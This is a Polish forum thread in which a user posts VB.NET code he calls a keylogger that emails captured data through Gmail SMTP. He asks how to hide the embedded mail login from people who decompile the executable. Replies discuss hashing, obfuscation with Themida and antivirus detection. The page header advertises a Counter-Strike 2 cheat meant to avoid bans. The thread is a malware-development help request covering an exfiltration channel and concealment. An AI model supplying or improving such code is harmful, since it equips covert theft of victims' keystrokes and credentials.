Skocz do zawartości

Jak zaszyfrować hasło w Keyloggerze który wysyła dane na Email?!


# CSH External VIP Project

Masz dosyć problemów z czynnikiem zaufania w CS2 lub notorycznymi banami?

Sprawdź CSH External VIP Project.


Więcej informacji  

Rekomendowane odpowiedzi

Cześć.

Mam problem, mam taki sobie kod keyloggera, który wysyła dane na maila:

Imports System.Net.Mail
Public Class Form1

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

Dim MyMailMessage As New MailMessage()
Try
MyMailMessage.From = New MailAddress("adres")
MyMailMessage.To.Add("2gi adres")
MyMailMessage.Subject = TextBox1.Text
MyMailMessage.Body = TextBox2.Text
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("adres maila", "hasło maila")
SMTP.Send(MyMailMessage)
TextBox2.Text = ""
Catch ex As Exception
End Try
End Sub
End Class

Mam problem, ponieważ kompilując skrypt działa program znakomicie, ale mam upierdliwego typka, który dekompiluje plik .exe i odczytuje login i hasło do maila.

Jak mogę zaszyfrować to hasło i email? Chodzi mi o linijki:

 

MyMailMessage.From = New MailAddress("adres")
MyMailMessage.To.Add("2gi adres")

SMTP.Credentials = New System.Net.NetworkCredential("adres maila", "hasło maila")

 

 

Proszę o szybką odpowiedź, zależy mi bardzo na czasie.

Pozdrawiam całe forum!

 

 

 

 

 

//edit:

Znalazłem w necie taki kodzik:

public static string SzyfrujHaslo(string haslo)
{
    if (string.IsNullOrEmpty(haslo))
    {
        return string.Empty;
    }
    SHA512Managed sha = new SHA512Managed();
    byte[] hash = sha.ComputeHash(Encoding.UTF8.GetBytes(haslo));
    return Convert.ToBase64String(hash);

ale nie wiem jak go połączyć z tym u góry, żeby nie wyświetlało loginu i hasła.

 

 

//edit2:

Możliwe przydatne linki:

https://msdn.microsoft.com/pl-pl/library/ms172831.aspx

https://msdn.microsoft.com/pl-pl/library/as0w18af(v=vs.110).aspx

http://www.sunduino.pl/wordpress/visual-c-szyfrowanie/

http://www.codeproject.com/Articles/1040107/Configuring-Visual-Studio-for-Obfuscation


Edytowane przez ViruS.
Odnośnik do komentarza

Przechowywanie hasła w pliku wykonywalnym i samo logowanie się na maila jest złym pomysłem.

Ta funkcja działa ten sposób base64(sha512(hasło)), a sha jest jedno stronne, więc tego z powrotem nie odszyfrujesz...


Edytowane przez mactec
Odnośnik do komentarza

Jak zaszyfrujesz themidą to żaden av, nie pozwoli Ci na uruchomienie tego pliku.

Nie trzymaj hasła w kodzie i najlepiej nie loguj się na maila

ta opcja niestety odpada, bo nie znam się na C#.

Wiem, że powinienem wziąć się za podstawy C#'a, ale w tygodniu mam bardzo mało czasu dla siebie (w szkole katowanie javascriptu, php). Za dużo na raz..

Nie katujcie mnie, bo nie po to założyłem ten temat.

 

Wiem, że lepiej chować hasło w bazie danych, ale nie znam się na C#, i nie mam do tego kodu.

Odnośnik do komentarza
Gość
Ten temat został zamknięty. Brak możliwości dodania odpowiedzi.
×
×
  • Dodaj nową pozycję...

Powiadomienie o plikach cookie

Umieściliśmy na Twoim urządzeniu pliki cookie, aby pomóc Ci usprawnić przeglądanie strony. Możesz dostosować ustawienia plików cookie, w przeciwnym wypadku zakładamy, że wyrażasz na to zgodę. Regulamin. Polityka prywatności